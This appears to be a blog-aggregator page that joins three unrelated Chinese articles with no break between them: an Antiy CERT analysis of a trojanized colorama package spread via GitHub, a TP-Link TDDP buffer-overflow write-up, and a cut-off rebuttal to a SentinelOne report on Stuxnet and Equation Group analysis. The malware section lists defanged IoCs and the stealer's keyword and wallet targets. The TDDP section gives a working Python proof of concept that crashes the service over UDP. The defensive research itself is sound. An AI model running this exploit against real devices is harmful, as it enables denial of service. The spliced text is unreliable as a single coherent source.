Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108913

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

封面图.jpg

1 概覽近期,安天CERT監測到通過GitHub傳播竊密木馬的攻擊活動。攻擊者在其發布項目的環境依賴文件requirements.txt中添加惡意URL,以獲取其惡意篡改的流行開源模塊,從而在受害者電腦中植入竊密木馬。

攻擊者使用空格將惡意代碼掩藏在該行代碼的末尾,以避免被用戶察覺;並使用多種手段對惡意代碼進行混淆處理,以規避安全產品檢測、阻礙安全人員分析。經過多層腳本載荷的傳遞後,將執行一種由Python編寫的竊密木馬。該竊密木馬會在受害主機中竊取瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感信息,並針對目標路徑中匹配關鍵詞的文件夾及文件進行竊取,最終將竊密數據回傳至C2服務器或上傳至文件共享平台Gofile中。

在此次攻擊活動中,攻擊者在自己發布的項目中引入經過惡意篡改的流行開源模塊,從而傳播竊密木馬。對流行的開源項目進行篡改,在其中添加惡意代碼後重新打包並在發布的項目中進行惡意引用,已經成為一種攻擊方式,用戶很難察覺環境依賴文件中是否存在異常。用戶在使用網絡中非流行、未證實安全性的開源項目時也需保持警惕,以避免執行掩藏在其中的惡意代碼。

經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該竊密木馬的有效查殺。 2 技術梳理攻擊者在GitHub中上傳項目,並在環境依賴文件requirements.txt中添加惡意URL。當用戶使用該項目時,需要根據該文件中的內容進行配置,從而下載執行經過攻擊者惡意篡改的colorama模塊。

攻擊者添加的惡意代碼用於從其服務器中獲取“version”文件,該文件使用Fernet算法進行加解密,執行後獲取“inj”文件並寫入臨時文件中;“inj”文件經過混淆處理,通過zlib對代碼進行解壓;解壓後的代碼用於獲取最終的竊密木馬,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等基本數據。

該竊密木馬會竊取指定瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感數據,並對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。完成竊密行為後,竊密木馬通過HTTP POST方式將竊密數據回傳至C2服務器中。當第一種回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile。

图 2-1攻击流程图.png

圖2‑1攻擊流程圖

3 關聯分析此次發現的惡意GitHub項目是“Discord-Token-Generator”,最早於2024年1月份創建。

图 3-1恶意GitHub项目.png

圖3‑1惡意GitHub項目

該項目的環境依賴文件requirements.txt中包含一個託管colorama-0.4.6.tar.gz的URL。攻擊者對域名進行了偽裝,在流行開源模塊colorama-0.4.6中添加了惡意代碼,並進行重新打包。

图 3-2恶意Github项目中的requirements.txt文件.png

圖3‑2惡意Github項目中的requirements.txt文件

根據requirements.txt文件中發現的惡意域名,目前在GitHub中有多個項目引用了經過攻擊者惡意篡改的模塊,相關賬號可能都是由同一批攻擊者所創建。

图 3-3引用经过攻击者恶意篡改模块的相关GitHub项目.png

圖3‑3引用經過攻擊者惡意篡改模塊的相關GitHub項目

攻擊者用於託管載荷的域名於2024年2月份註冊,表明這是一起剛開始進行的攻擊活動。

图 3-4攻击者使用域名的注册时间.png

圖3‑4攻擊者使用域名的註冊時間

在多個惡意GitHub項目中存在攻擊者修改requirements.txt文件的痕跡。分析時已無法獲取到該URL中的colorama-0.4.3.tar.gz,不能判斷該文件是否惡意。

图 3-5攻击者修改requirements.txt的痕迹.png

圖3‑5攻擊者修改requirements.txt的痕跡

此外,在竊密木馬文件中存在多處葡萄牙語痕跡,表明攻擊者可能位於葡語系國家或地區。

图 3-6攻击者在窃密木马文件中使用葡萄牙语进行输出.png

圖3‑6攻擊者在竊密木馬文件中使用葡萄牙語進行輸出

竊密木馬竊取文件的關鍵詞列表中存在幾處法語,表明攻擊者可能更加針對法語用戶。

图 3-7窃密文件中的法语痕迹.png

圖3‑7竊密文件中的法語痕跡

4 樣本分析4.1 經過攻擊者篡改的colorama模塊colorama是一個開源的Python模塊,能夠提供彩色的終端文本。攻擊者在其__init__.py文件中,通過463個空格將惡意代碼掩藏在第5行末尾,然後將篡改的colorama模塊重新打包並託管於搭建的服務器中。由於__init__.py文件用於定義包的初始化代碼,因此當用戶導入該包時會自動執行其中的惡意代碼。該惡意代碼用於從攻擊者服務器中接收“version”文件中的內容並執行。

图 4-1攻击者掩藏的恶意代码.png

圖4‑1攻擊者掩藏的惡意代碼

4.2 version“version”文件中的代碼使用Fernet算法,通過攻擊者自定義的密鑰對代碼進行解密,然後對解密的代碼進行執行。

图 4-2执行通过Fernet算法进行加解密的代码.png

圖4‑2執行通過Fernet算法進行加解密的代碼

解密後的代碼訪問指定的URL,將“inj”文件內容寫入臨時文件中,並通過python執行。

图 4-3获取“inj”文件内容并执行.png

圖4‑3獲取“inj”文件內容並執行

4.3 inj該文件是一個Python腳本,攻擊者使用中文、日文對變量及函數等進行命名,並且對代碼進行了混淆處理。

图 4-4 inj文件内容.png

圖4‑4 inj文件內容

攻擊者同樣通過空格對關鍵代碼進行掩藏,經解混淆處理後發現,該腳本的作用是使用zlib解壓出下一階段的代碼並進行執行。

图 4-5经过zlib压缩的代码.png

圖4‑5經過zlib壓縮的代碼

4.4 經過zlib解壓的代碼該代碼使用Python編寫,其作用是在%APPDATA、%LOCALAPPDATA%、%TEMP%中選取一個目錄生成一個隨機名稱的文件,將從指定URL中獲取的內容寫入該文件中執行,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等數據。

图 4-6该代码的作用.png

圖4‑6該代碼的作用

4.5 竊密木馬4.5.1 竊密經過以上多層載荷的傳遞,最終將執行一種使用Python編寫的竊密木馬。其竊密目標如下表所示。

表4‑1竊密目標

瀏覽器

Opera

Chrome

Brave

Vivaldi

Edge

Yandex

Firefox

社交平台

Discord

Telegram

加密貨幣錢包

Atomic Wallet

Guarda

Zcash

Armory

Bytecoin

Exodus

Binance

Jaxx

Electrum

Coinomi

遊戲客戶端

Steam

Riot Client

該竊密木馬也會對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。目標路徑及關鍵詞如下表所示。

表4‑2目標路徑及關鍵詞

目標路徑

桌面

下載

文件

最近使用的項目

關鍵詞

passw

mdp

motdepasse

mot_de_passe

login

secret

bot

atomic

account

acount

paypal

banque

bot

metamask

wallet

crypto

exodus

ledger

trezor

hardware

cold

.dat

discord

2fa

code

memo

compte

to0k3en

backup

secret

seed

mnemonic

memoric

private

key

passphrase

pass

phrase

steal

bank

info

casino

prv

privé

prive

telegram

identifiant

personnel

trading

bitcoin

sauvegarde

funds

récupé

recup

note

4.5.2 回傳該竊密木馬通過HTTP POST將竊取的數據回傳至C2服務器中。

图 4-7 HTTP POST回传方式.png

圖4‑7 HTTP POST回傳方式

當該回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile,並將上傳後形成的下載鏈接記錄在“loggrab”文件中回傳至C2服務器。

图 4-8将数据上传至Gofile.png

圖4‑8將數據上傳至Gofile

5 防護建議5.1 加強終端文件接收和執行防護建議企業用戶部署專業的終端安全防護產品,對本地新增和啟動文件進行實時檢測,並週期性進行網內病毒掃描。安天智甲終端安全系列產品(以下簡稱“智甲”)依托安天自研威脅檢測引擎和內核級主動防禦能力,可以有效查殺本次發現病毒樣本。

智甲可對本地磁盤進行實時監測,對新增文件自動化進行病毒檢測,對發現病毒可在其落地時第一時間發送告警並進行處置,避免惡意代碼啟動。

图 5-1发现病毒时,智甲第一时间捕获并发送告警.png

圖5‑1發現病毒時,智甲第一時間捕獲並發送告警

智甲還為用戶提供統一管理平台,管理員可通過平台集中查看網內威脅事件詳情,並批量進行處置,提高終端安全運維效率。

图 5-2通过智甲管理中心查看并完成威胁事件处置.png

圖5‑2通過智甲管理中心查看並完成威脅事件處置

6 IoCsIoCs

96B4C32AFE965529510A6430C2A7AAD3

150B3626C85EC5AF88B86C0D0E24736B

6580C4990E1E56A7D31A36FF1A0502FA

DD9914573C751C4D8BE4BFE0519F9597

6573627FFC97CA6E82A238561C14A9E4

https[:]//files.pypihosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz

https[:]//pypihosted.org

162.248.100[.]217

TDDP 服務程序在UDP 端口1040 上監聽時,處理數據時未能正確檢查長度,這導致了內存溢出,破壞了內存結構,最終引發了服務中斷。

本文深入分析了一個在2020 年向TP-Link 報告的安全漏洞。遺憾的是,至今沒有CVE 編號分配給這個漏洞,因此相關的詳細信息並未公之於眾。通常,閱讀技術分析報告能夠帶來豐富的見解和學習機會。我堅信,公開分享研究方法和成果對整個行業以及廣大的學習者、學生和專業人士都有著積極的意義。

在本文中,我將使用Shambles這個工具來識別、逆向分析、模擬並驗證這個導致服務中斷的緩衝區溢出問題。如果您對Shambles 感興趣,可以通過加入Discord 服務器並查閱FAQ 頻道來了解更多信息。

首先,我們來介紹一下TDDP 協議,這是一種在專利CN102096654A中詳細描述的二進制協議。您需要了解的所有協議細節都在專利描述中。不過,我會在這里為您做一個簡要的總結。

1.png

TDDP 是TP-LINK 設備調試協議的縮寫,它主要用於通過單個UDP 數據包進行設備調試。這種協議對於逆向分析來說非常有趣,因為它是一個需要解析的二進制協議。 TDDP 數據包的作用是傳輸包含特定消息類型的請求或命令。下圖展示了一個TDDP 數據包的結構。

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Ver | Type | Code | ReplyInfo |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| PktLength |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| PktID | SubType | Reserve |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[0-3] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[4-7] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[8-11] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| MD5 Digest[12-15] |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

當您需要發送命令時,您需要調整Type和SubType這兩個頭部字段的值。據我所知,所有返回的數據都會使用DES 加密,並且通常需要使用設備的用戶名和密碼來解密。發送給設備的配置數據也需要加密。 DES 密鑰是通過結合用戶名和密碼的MD5 哈希值來生成的,具體做法是取哈希值的前8個字節。

下面這張圖展示了整個緩衝區溢出的鏈條。我們將一步步分析,但您可能需要不時地回到上圖來對照。

2.png

讓我們來詳細分析一下。下面展示的函數我們稱之為tddpEntry(sub_4045f80x004045F8),這是整個鏈條的起點。這個函數負責使用TDDP 協議處理通信,通過不斷檢查傳入的數據。它從recvfrom函數接收UDP 數據,該函數用於從dword_4178d0指定的套接字接收數據。

3.png

接收到的數據被存儲在緩衝區(varf4)中。在將數據傳遞給TddpPktInterfaceFunction(sub_4045f8+3300x00404B40)進行處理時,並沒有對接收到的數據大小進行驗證。如下圖所示,GetTddpMaxPktBuff(sub_4042d00x004042D0)函數返回的值是0x14000。

4.png

接下來是TddpPktInterfaceFunction函數的實現。

5.png

上面的條件判斷塊會處理數據包的第一個字節p0等於2 的情況,即代碼中的*(byte *)p0==2。該函數通過設置數據包中的特定值和一個新的存儲空間指針來傳遞數據。然後,它調用tddp_versionTwoOpt(sub_404b400x00405990)函數來進一步處理數據包。在處理數據包時,off_42ba8c的大小和分配的最大長度為0x14000。 tddp_versionTwoOpt函數將數據傳遞給tddp_deCode(sub_404fa40x00405014)進行解碼驗證。

6.png

tddp_deCode函數會設置數據、DES 加密長度和指針,然後嘗試解碼傳入的TDDP 數據包(p0和p1)並驗證解密數據的完整性。如果解碼成功,它會更新解碼後的數據並返回0。

簡而言之,tddp_deCode函數的作用是解碼TDDP 數據包。在tddp_deCode函數中,數據和DES 加密長度會被存儲在byte[4-8]中,並且在調用des_min_do函數進行解密之前,會設置一個指向新存儲數據的指針。值得注意的是,des_min_do是/lib/libutility_lib.so庫提供的一個函數。

7.png

同樣地,大小和長度等參數也會被傳遞給des_min_do函數用於解密。

8.png

在從輸入數據中提取必要的字段後,該函數使用提取的字節byte[4-8]來計算DES 加密長度,並將指針設置指向新存儲的數據,這個指針由變量arg4表示。

//Further up in the function

arg0=p0;

arg4=p1; //Pointer of the newly stored data

//Line 99

var34=des_min_do(arg0 + 28, var38, arg4 + 28, v18);

這裡,arg4作為參數傳遞給des_min_do函數,這個函數我們已經多次提到,它負責對數據進行解密。解密後的數據會從偏移量arg4 + 28的位置開始存儲。

//Line 96

v18=GetTddpMaxPktBuff() - 28;

結果值(v18)被用作後續操作的界限。上面的代碼片段是在調用函數sub_4042d0()時的,它返回解密數據的大小。然後,從這個大小中減去28,可能是為了計算某些頭部的長度。這個值作為第四個參數傳遞。

這段內容有點長,也可能有些混亂,所以讓我們來回顧一下。在des_min_do函數中,arg4和v18是傳遞給函數的參數。變量arg4包含了p1的值,作為第三個參數傳遞給des_min_do。 arg4用於提供DES 數據的長度給des_min_do函數。 v18也作為第四個參數傳遞給des_min_do,並且被賦值為GetTddpMaxPktBuff() - 28的結果。

現在讓我們來看看des_min_do函數的實現。

9.png

如上圖所示,當傳入的DES 加密長度大於最大尺寸限制0x14000時,函數會直接返回0,而不進行解密。因此,如果v6是0,v5小於p1,那麼DES 加密密鑰將不會使用DES_set_key_unchecked設置,也不會執行解密。所以在這個時候,des_min_do函數將返回0。

在tddp_deCode函數中執行了一些其他操作後,我們來到了MD5 摘要驗證環節。

10.png

在tddp_deCode函數處理完畢後,會提取存儲在byte[13-28]中的MD5 摘要,並與當前數據集的整個MD5 摘要進行比較。在比較MD5 摘要時,原始的MD5 摘要byte[13-28]位置會被設置為0。如下圖所示的內存寫操作。

*(byte *)(arg4 + var38 + 28)=0;

由於arg4是包含MD5 摘要的數據結構,var38保存了緩衝區中MD5 摘要開始的偏移量。通過將這個位置的字節設置為0,它有效地修改了存儲的MD5 摘要,該摘要存儲在緩衝區的byte[13-28]中。這種修改使得後續的比較能夠確定重新計算的MD5 摘要是否與原始存儲的MD5 摘要匹配。

所以!存儲在byte[13-28]中的MD5 摘要被提取出來。然後,這個提取的MD5 摘要會與MD5 摘要數據進行比較,其中原始MD5 摘要byte[13-28]位置被設置為0。如果驗證過程正確(即,提取的MD5 摘要與當前數據的MD5 摘要相匹配),tddp_deCode函數將繼續處理,將新存儲內容的指針指向byte[4-8] + 28的位置,並設置字節位置為0。由於byte[4-8]是可以控制的,我們可以引發溢出(如果值大於0x14000),將其寫為0會導致內存損壞,因為它破壞了內存結構並引發了服務中斷(DoS)狀態。

讓我們用Shambles 來做一個概念驗證(POC)吧!這個過程實際上只需要5分鐘。只需創建一個虛擬機並將其映射到包含所有固件二進製文件的第二個文件系統。

11.png

然後我們只需啟動虛擬機,如下所示,無需對固件做任何修改,它就能完美運行。

12.png

通過內置的SSH 控制台,我們將手動啟動httpd程序。

13.png

我們可以通過設置反向代理並訪問頁面來驗證它是否正常工作。

14.png

15.png

我們還將啟動tddpd服務。

16.png

在我們嘗試對系統進行任何操作之前,始終要驗證所需的服務是否正在運行。我們在下圖確認tddpd正在端口1040上運行。

17.png

我將通過本地端口10461訪問虛擬機的端口1040。

我們需要在byte[4-8]中將v0設置為0x01000000。 UDP 數據包仍然必須是有效的並被識別。所以根據專利信息,我們將設置以下值:

byte[0]: Ver

byte[4-8]: PktLength

byte[13-28]: MD5 digest

byte[29-N]: DES

---------------------------------

TDDP version='02'

TDDP user config='01 00 00 00'

TDDP code request type='01'

TDDP reply info status (OK)='00'

TDDP padding='%0.16X' % 00

18.png

最終的概念驗證代碼如下,

import socket

import hashlib

bytes12=bytes([0x02,0x01,0x00,0x00,

0x01,0x00,0x00,0x00,

0x12,0x34,0x56,0x78])

magic=(0x00).to_bytes(length=16, byteorder='big')

tmp_data_bytes=bytes12 + magic

md5_bytes=hashlib.md5(tmp_data_bytes).digest()

data_bytes=bytes12 + md5_bytes

s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.sendto(data_bytes, ('127.0.0.1', 10461))

data=s.recv(1024)

print('recv:' + data.decode())

s.close()

一旦執行,我們可以查看Shambles 虛擬機的日誌,發現tddpd程序已經崩潰。

19.png

通過調試,我們可以確認崩潰的原因是傳入的v0=0x01000000超出了範圍,導致寫入值為0,從而引發了崩潰。

20.png

原文鏈接:Lian Security

111.png

1.概述2024年2月12日,美國網絡安全公司SentinelOne在其官網上發布題為“China’s Cyber Revenge/Why the PRC Fails to Back Its Claims of Western Espionage”的報告[1],(以下簡稱“SentinelOne報告”),對“中國三家知名網絡安全企業360、奇安信、安天及中國網絡安全產業聯盟(CCIA)”等機構揭露美方情報機構網絡攻擊的相關報告進行解讀。我們先直接概括其報告中的觀點和關鍵邏輯。

SentinelOne報告對我們公開的分析報告基於時間線進行了梳理,並引述一些美方人士觀點,設定瞭如下觀點:

1、中方報告是對國際其他機構對美方分析的跟進,存在長期滯後;

2、中方分析工作嚴重依賴美方自身的信息洩露;

3、中方報告沒有“PCAP包”級別的技術實證。

SentinelOne報告的邏輯並不是應答全球網絡安全業界和研究者過去二十年來對美方情報機構攻擊活動和能力的持續分析曝光,包括在美方多次信息洩露中所暴露出來的觸目驚心的真相,而是試圖把國際關注度轉移到中國網絡安全工作者的技術能力和水平是否能夠支撐其持續獨立發現、分析、研究、溯源美方的攻擊上,並將實證的概念窄化為一種具體的技術格式。美西方此前長時間習慣性地從宏觀層面誇大中國網絡安全能力,以便為其情報機構和軍工複合體爭取巨額的網絡安全預算,而此時,突然又在微觀層面開啟一波認為中國分析溯源能力很差的“嘲諷”流,並宣判:作為被霸凌者,你們反抗無效!

對SentinelOne報告所提及的中國安全企業的分析報告,有很大比例來自安天安全研究與應急處理中心(安天CERT),我們當然承認:作為一個企業級別的安全分析團隊,分析美國情報機構這種超級網空威脅行為體的網絡攻擊活動和支撐體系,是非常艱苦的工作。我們知道其中有巨大的能力、資源等方面的落差。我們就如同一隻警覺的白兔,努力睜大雙眼去發現和分析在迷霧森林中吞噬咀嚼各種弱小動物的巨型鷹鷲,我們希望努力畫出它的樣貌,提醒森林裡的其他動物警惕它的襲擊。

2015年,我們提出了A2PT(即高級的高級持續性威脅)這一名詞,以此明確其空前的能力和威脅,也提醒我們自己,對抗和分析這種攻擊能力會有多麼困難。

分析、溯源APT攻擊本身是一個長期、複雜、需要大量資源,需要高度嚴謹的科學態度和耐心定力的工作,對於更為複雜的A2PT的分析則需要付出更大的代價。我們的工作過程基本不為常人所知,分析成果又只有專業人士才能充分理解。所以儘管SentinelOne報告整體邏輯如此之荒謬,但如果我們不向SentinelOne(我們願意稱呼他們為美國同行)點破若干他們視而不見的真相,包括向他們分享一點我們(也包括國際網絡安全業界)對APT分析工作的真正理解,就不足以讓人們看清SentinelOne報告貌似專業、甚至“公正”的梳理和分析下面隱藏的對世界的欺騙。

因此我們很感謝SentinelOne報告,讓我們有機會以自己的回憶視角串聯若干歷史分析工作,包括促成我們公佈這些工作中的一些未出現在歷史報告中的過程線索。由於這段歷程過於漫長,我們一度認為若干有價值的分析成果已經覆滿塵土,但SentinelOne報告讓我們可以把它們重新摘選出來,重新對世界發出告知與提醒。讓所有尋求真相的人們,把我們的這份報告與SentinelOne報告擺放在一起,看看何為詭辯,何為邏輯與真相!

我們並不自詡正確,但我們總還有講述自己經歷的權力!

2.接力追踪鷹鷲的足跡美方情報機構的網絡攻擊不是孤立的行動,而是基於0day漏洞、高級惡意代碼持久化和基於人力、電磁和網空混合作業的長期佈局,並有龐大的工程體係作為支撐。在長期作業過程中可能經歷大型惡意代碼工程的多次迭代,這使得國際網絡安全業界的分析曝光工作看起來像一場工作接力。

第一個接力高峰期,2010年由“震網”事件所觸發,並沿著“火焰”“毒曲”“高斯”等複雜的惡意代碼展開。 SentinelOne的時間線開始就選錯了起點,包括中國網絡安全工作者在內的國際網安業界分析工作起跑於2010年,我們的工作和國際業內同仁是基本同步啟動的,而不是2012年。 2010年7月13日國際網絡安全企業最早曝光相關消息後,我們在7月15日依托設定的關鍵字符串守候到了樣本,並著手搭建“震網”的模擬分析環境,開始模擬分析相關機理。

2-1.jpg

圖2‑1安天搭建的“震網”簡易模擬分析沙盤(2010.7)

針對“震網”的接力分析,是由很多複雜而瑣碎的工作組成的。例如幾乎所有參與分析的機構,都在其中找到了感染USB設備的擺渡感染代碼。但多數沒有成功觸發復現USB擺渡行為。安天的分析貢獻之一是對其擺渡的關鍵機理進行了深入分析,指出了其擺渡傳播的控制條件,從而解釋了其與其他蠕蟲差異明顯的受控傳播特性。在2010年10月11日的《对Stuxnet的后续分析》 [2]中,我們解讀了:

Stuxnet是否感染到U盤,取決於配置數據中的多個域,包括:

马云惹不起马云偏移0x6c、0x70、0xc8處的標記位;

马云惹不起马云偏移0x78、0x7c處的時間戳;

马云惹不起马云偏移0x80、0x84處的數值。

只有當每個域對應的條件都滿足時,才會感染U盤。其中,偏移0xc8處的位默認設置為不感染。

2-2.png

圖2‑2“震網”文件釋放結構和USB傳播邏輯圖(2010.10)

但我們對當時的分析精細度並不滿意,在九年後的“震網”事件最終報告[3]中,我們對完整的標誌位做了更新:

2-3.png

圖2‑3震網擺渡配置內容解析(2019.9)

2010年面對如此復雜的攻擊時,我們承認自己匱乏資源與經驗,作為從病毒分析組轉型的應急分析團隊,我們太習慣於代碼功能逆向的視角,而並未將其所使用的多個0day漏洞進行逐一驗證,也就留下了一個嚴重的分析錯誤,把針對Windows打印後台程序漏洞的利用當作了對打印機的攻擊,還留下瞭如下帶有錯誤的圖示。這也間接導致了多份國內外的文獻由於引用了我們的圖示而產生關聯錯誤。

2-4.png

圖2‑4 Stuxnet蠕蟲突破物理隔離環境的傳播方式的錯誤圖示(2010.9)

儘管對“震網”事件的深入分析了解是全球所有APT分析研究者的基本功,但我們篤定的是:SentinelOne不會比我們更了解“震網”,因為如果他們分析過樣本,恐怕就不會不知道“震網”會提取主機信息並追加於Payload尾部。顯然,基於我們樣本庫中大量的“震網”樣本對主機信息的還原,會提取出大量中國計算機被感染的證據。而這恰恰就是SentinelOne報告所說的實證。

2-5.png

圖2‑5安天基於樣本提煉整理的感染中國計算機節點的部分數據

當美方領導人和政府人士不僅在多次場合中暗示承認“震網”與其情報機構的關係,甚至明顯以此作為擁有強大網絡攻擊威懾的一種宣示時,對事件的分析就已經不能停留在樣本分析和技術實證層面,而必須更深入的判斷打開信息戰“潘多拉魔盒”的影響。在對“震網”的分析中,安天量化對比了“震網”事件與二十年前的凋零利刃與巴比倫行動,明確提出“震網”的災難性里程碑意義,在於其證明了網絡攻擊能達成傳統作戰行動的局部等效性。

表2‑1兩次針對主權國家核計劃所採用的軍事行動與準軍事行動的對比分析(2015)

凋謝利刃與巴比倫行動(傳統作戰行動)

震網行動(網絡戰行動)

發起攻擊者

以色列、伊朗、美國

美國、以色列

被攻擊目標

伊拉克核反應堆

伊朗鈾離心設施

時間週期

1977-1981年

2006-2010年

人員投入

以色列空軍、特工人員、伊朗空軍、美國空軍和情報機構

美、以情報和軍情領域的軟件和網絡專家,工業控制和核武器的專家

產出

多輪前期偵查和空襲,核反應堆情報

戰場預製、病毒的傳播和伊朗核設施情報

各方裝備投入

伊:2架F-4鬼怪式以12枚MK82減速炸彈-轟炸核反應堆假設工地;10架F-4襲擊伊拉克H-3空軍基地。

以:2架F-4E(S)-偵查任務;8架F-16A(美方提供)、4架F-15A、2架F-15B、16枚MK84炸彈-空襲反應堆

模擬搭建反應堆

特工人員暗殺伊拉克關鍵人員

美方:戰略衛星和情報、空中加油機

震網病毒

模擬搭建離心機和控制體系

效費比

打擊快速,準備期長,耗資巨大,消耗大,行動複雜,風險高

週期長,耗資相對軍事打擊低,但更加精準、隱蔽,不確定性後果更低

訓練成本

18個月模擬空襲訓練,2架F-4鬼怪攻擊墜毀,3名飛行員陣亡

跨越兩位總統任期,經歷了5年的持續開發和改進

消耗

人力、軍力、財力、裝備力、情報

人力、財力、情報

毀傷效果

反應堆被炸毀,嚇阻了法國供應商,伊拉克核武器計劃永久遲滯

導致1000台至2000台離心機癱瘓,鈾無法滿足武器要求,幾乎永久性遲滯了伊朗核武器計劃

在“震網”之後,全球網絡安全業界陸續發現了“毒曲”“火焰”“高斯”並發布報告,並陸續證明它們與“震網”的相關性。在面對“火焰”時,卡巴斯基指出,其攻擊是當時發現的最為複雜的攻擊之一,要對其完全分析清楚可能要耗費數年時間。我們意識到國際安全企業和從業者需要進行分工協同,我們嘗試開啟了一段馬拉松式的分析賽跑,嘗試完成更多的工作,對“火焰”主樣本進行了分析[4],並提取了子模塊清單,對其中重點模塊進行了分析。從目前的公開資料檢索看,在業內完成“火焰”的分析成果中,安天在模塊層面的分析貢獻佔比是最高的。

2-6.png

圖2‑6“火焰”病毒主模塊與子模塊啟動加載順序(2012.5)

我們對“毒曲”和“震網”的同源分析報告晚於國際廠商[5],這的確是一個事實。 “震網”“火焰”“毒曲”“高斯”系列存在同源關聯是當時參與這些樣本深度分析的各廠商的共同的猜測與判斷。卡巴斯基的工作最為敏捷和堅決,而我們則沒有把找到的相似點在第一時間沉澱為公開的分析成果,但如果比較這兩份同源分析,其實也可以看到:安天所提供的同源點大部分與卡巴斯基並不相同,將分析成果疊加起來可以為APT樣本體系間的同源性到代碼復用佔比分析提供更完整的線索和依據。

2-7.png

圖2‑7 安天公佈的震網、毒曲同源關鍵代碼基因對比(2012.5)

APT分析是一個社會協同過程,其中有大量的疑問是需要長時間的分析積累、關聯回溯才能解決的,“震網”就是一個例子。例如在非常長的時間內都沒有組織機構正式解答:作為高度定向的攻擊所使用的樣本,且大版本只有兩個,總模塊數只有數十個,但為什麼其樣本數量多達數千個,包括為什麼在技術驗證中,USB擺渡開關是默認關閉的,卻能形成一條從中東到東南亞並滲透到中國的感染擴散鏈。我們在《震网事件的九年再复盘与思考》 [3]對上述問題進行了分析解答,儘管這個解答遲來了九年,但這是中國網絡安全工程師的獨創內容。相比之下,急功近利的組織機構和研究者很難取得深度和系統的成果。

同樣的,我們以軟件工程的視角,梳理“震網”“火焰”“高斯”“毒曲”之間的代碼復用關係,並輸出了一個完整的圖譜:2-8.png

圖2‑8 安天發布Stuxnet和Duqu、Flame、Fanny、Flowershop關係圖(2019.9)

既與時間賽跑,又在時間面前保持定力;既尊重他人的分析成果,又有自己的獨創貢獻,這就是中國網絡安全工作者在這場接力中扮演的角色。

3.破解斯芬克斯之謎A2PT組織攻擊裝備的重要特點是惡意代碼和漏洞利用工具攻擊武器幾乎覆蓋所有平台與場景。把這個全貌完整繪製出來,成為全球優秀的網絡安全研究機構攜手共同努力才能破解的斯芬克斯之謎。

在2013年之後,針對“方程式組織”(NSA下屬的TAO團隊)的分析協同就是一次集體解謎歷險。 “方程式組織”的新攻擊活動與此前“震網”“火焰”系列攻擊至關重要的差異是,“震網”是面向隔離網絡的攻擊作業,所以Payload必須包含所有的功能模塊組件,這就便於完整的關聯分析。

而新的攻擊波次主要是依托互聯網側的高度模塊化,針對場景按需投放。由於各國的IT基礎環境、各安全企業服務的客戶場景都有很大不同,任何一家網絡安全廠商都不可能在短時內完整捕獲其各平台樣本和各種功能模塊。如果說我們看到“震網”“火焰”“毒曲”“高斯”是依靠同源線索關聯所形成的分析接力的研究,那麼對“方程式組織”的分析實際上就是依靠自身的感知捕獲能力,逐個解開其在各個平台上的免殺,直到最終完整解開它全平台覆蓋能力。每一個平台捕獲、分析、拼接到最終曝光,都走過了很長的過程。其中我們將iOS樣本的曝光,與我們正式捕獲完成分析的時間,已經相隔了8年。我們依靠自身的捕獲能力,先後捕獲了其Windows、Solaris、Linux、iOS平台的攻擊樣本,破解了樣本加密機制。和國際產業界協同完成了其全操作系統平台覆蓋能力的分析,並最終使其完整曝光。

3-1.png

圖3‑1全球網絡安全廠商披露的方程式組織平台覆蓋能力

2015年初,卡巴斯基率先開始公佈了方程式組織對硬盤固件的攻擊能力,安天跟進公佈了分析報告[6],針對攻擊組件結構、通信指令代碼和控制結構提供了有價值的成果。

3-2.png

圖3‑2 安天公佈的捕獲的C2和通信密鑰(2015.3)

安天該報告中還對硬盤固件寫入模塊進行了分析和過程研究,並在當時對可能被持久化主機硬盤進行了固件提取比對分析。

3-3.png

圖3‑3 安天分析硬盤固件升級流程(2015.3)

我們在2013年對“方程式”組織的捕獲分析中,就監測發現大量回連攻擊者C2的機器,確定國內存在被攻擊目標。

3-4.png

圖3‑4國內回連方程式組織C2監測流量

2015年5月,安天發布報告,公開了“方程式”組織內置的數據加密和網絡通信加密算法,公佈了解密密鑰和解密算法[7]。

3-5.png

圖3‑5方程式組織通信加解密算法分析(2015.4)

2016年,安天的報告首度曝光了“方程式”組織針對Linux系統和SPARC架構的Solaris系統的攻擊樣本[8],分析了樣本的主要功能、通信模式和指令特點。與卡巴斯基等廠商報告疊加,構成了A2PT攻擊組織的全平台惡意代碼能力圖譜。

3-6.png

